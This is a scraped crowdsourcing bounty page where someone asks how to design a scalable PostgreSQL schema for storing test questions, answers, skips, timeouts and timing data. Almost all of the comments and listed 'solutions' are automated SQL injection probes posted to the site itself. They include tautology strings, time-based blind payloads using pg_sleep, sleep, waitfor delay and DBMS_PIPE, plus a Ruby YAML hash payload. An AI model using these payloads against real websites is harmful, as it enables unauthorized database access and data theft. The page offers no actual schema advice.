Best way to store tests and results
New here? Learn about Bountify and follow @bountify to get notified of new bounties! x

We have tests that we need to store in a better way. It’s multi tenant SAAS solution all with shared db.

-We have 10-50 questions on a test
-We typically have 3-8 possible answers per question
-One possible answer is “skip” which is either done on purpose or they timeout. Probably makes sense to record the difference in actual skip vs timeout

We are needing to get some ideas on how best to store the outcomes. Ideally we also store the actual test and it’s questions with each set answers so that if test edits happen we can easily see the exact state of what the test taker saw. We would love to store some behavior data here as well. Total time taking the test. Time per question.

Please assume a SQL like db (postgresql) and table would have millions of outcomes stored. (Maybe 1k different tests and 1mm taker submissions per year) ideally your schema would scale beyond that.

We will need to run queries and stats per test, per person for a test or several tests, ideally the db can stay fast. We care a lot more about reads and stats performance than insert performance. Said differently a slow insert is a good trade off to make for a faster more scalable design.

-1 OR 2+964-964-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+964-964-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+121-121-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+121-121-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+244-244-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+244-244-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+351-351-1=0+0+0+1 or 'dhFUT1PM'='
gbtagbbj 4 months ago
-1' OR 3+351-351-1=0+0+0+1 or 'dhFUT1PM'='
gbtagbbj 4 months ago
-1" OR 2+199-199-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+199-199-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
NEEQiLjq'
gbtagbbj 4 months ago
-5 OR 855=(SELECT 855 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 536=(SELECT 536 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 819=(SELECT 819 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
PMas8412' OR 226=(SELECT 226 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
KLmm7b6i') OR 671=(SELECT 671 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
MBZBQhVp')) OR 28=(SELECT 28 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
-1 OR 2+679-679-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 3+679-679-1=0+0+0+1 --
gbtagbbj 4 months ago
-1 OR 2+816-816-1=0+0+0+1
gbtagbbj 4 months ago
-1 OR 3+816-816-1=0+0+0+1
gbtagbbj 4 months ago
-1' OR 2+418-418-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 3+418-418-1=0+0+0+1 --
gbtagbbj 4 months ago
-1' OR 2+334-334-1=0+0+0+1 or 'WdPzVV8V'='
gbtagbbj 4 months ago
-1' OR 3+334-334-1=0+0+0+1 or 'WdPzVV8V'='
gbtagbbj 4 months ago
-1" OR 2+347-347-1=0+0+0+1 --
gbtagbbj 4 months ago
-1" OR 3+347-347-1=0+0+0+1 --
gbtagbbj 4 months ago
if(now()=sysdate(),sleep(15),0)
gbtagbbj 4 months ago
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
gbtagbbj 4 months ago
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
gbtagbbj 4 months ago
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
gbtagbbj 4 months ago
1 waitfor delay '0:0:15' --
gbtagbbj 4 months ago
M0lXij0C'
gbtagbbj 4 months ago
-5 OR 276=(SELECT 276 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-5) OR 11=(SELECT 11 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
-1)) OR 401=(SELECT 401 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
vMPjEyal' OR 358=(SELECT 358 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
jodi0ZBt') OR 804=(SELECT 804 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
ZqHa50QF')) OR 633=(SELECT 633 FROM PG_SLEEP(15))--
gbtagbbj 4 months ago
*DBMSPIPE.RECEIVEMESSAGE(CHR(99)||CHR(99)||CHR(99),15)
gbtagbbj 4 months ago
'||DBMSPIPE.RECEIVEMESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
gbtagbbj 4 months ago
'||(select 1 from (select pg_sleep(15))x)||'
gbtagbbj 4 months ago
''||(select 1 from (select pg_sleep(15))x)||''
gbtagbbj 4 months ago
5 months ago

Crowdsource coding tasks.

132 Solutions


-1 OR 2+693-693-1=0+0+0+1


-1 OR 3+693-693-1=0+0+0+1


RLIKE (SELECT (CASE WHEN (463=463) THEN 1 ELSE 0x28 END)) --


if(now()=sysdate(),sleep(15),0)


0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z


0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z


--- !ruby/hash:ActiveSupport::HashWithIndifferentAccess
information_schema where (select 0) or sleep(30) /WlDkBELT/:


(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/


1 waitfor delay '0:0:15' --


-5 OR 881=(SELECT 881 FROM PG_SLEEP(15))--


-5) OR 185=(SELECT 185 FROM PG_SLEEP(15))--


-1)) OR 733=(SELECT 733 FROM PG_SLEEP(15))--


T1WZAwrM' OR 490=(SELECT 490 FROM PG_SLEEP(15))--


Td6i7u7U') OR 373=(SELECT 373 FROM PG_SLEEP(15))--


fUw7V2v4')) OR 344=(SELECT 344 FROM PG_SLEEP(15))--


*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)


'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'


'||(select 1 from (select pg_sleep(15))x)||'


-1 OR 2+353-353-1=0+0+0+1 --


-1 OR 2+857-857-1=0+0+0+1


-1' OR 2+332-332-1=0+0+0+1 --


-1' OR 2+174-174-1=0+0+0+1 or 'EWYdnwYY'='


''||(select 1 from (select pg_sleep(15))x)||''


-1" OR 2+897-897-1=0+0+0+1 --


if(now()=sysdate(),sleep(15),0)


0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z


0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z


(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/


1 waitfor delay '0:0:15' --


4RrVEY3Q' OR 39=(SELECT 39 FROM PG_SLEEP(15))--


uJqAW4w1') OR 237=(SELECT 237 FROM PG_SLEEP(15))--


C7Wga6Lj')) OR 420=(SELECT 420 FROM PG_SLEEP(15))--


--- !ruby/hash:ActiveSupport::HashWithIndifferentAccess
information_schema where (select 0) or sleep(30) /BofomlXe/:


'||(select 1 from (select pg_sleep(15))x)||'


''||(select 1 from (select pg_sleep(15))x)||''

View Timeline